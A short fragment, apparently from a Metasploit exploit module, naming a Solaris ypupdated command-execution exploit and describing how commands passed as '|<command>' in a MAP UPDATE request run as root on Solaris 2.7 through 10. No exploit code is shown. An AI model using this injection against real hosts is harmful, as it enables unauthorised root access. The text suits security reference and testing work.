'Name' => 'Solaris ypupdated Command Execution',

'Description'=> %q{

This exploit targets a weakness in the way the ypupdated RPC

application uses the command shell when handling a MAP UPDATE

request.Extra commands may be launched through this command

shell, which runs as root on the remote host, by passing

commands in the format '|<command>'.

Vulnerable systems include Solaris 2.7, 8, 9, and 10, when

ypupdated is started with the '-i' command-line option.
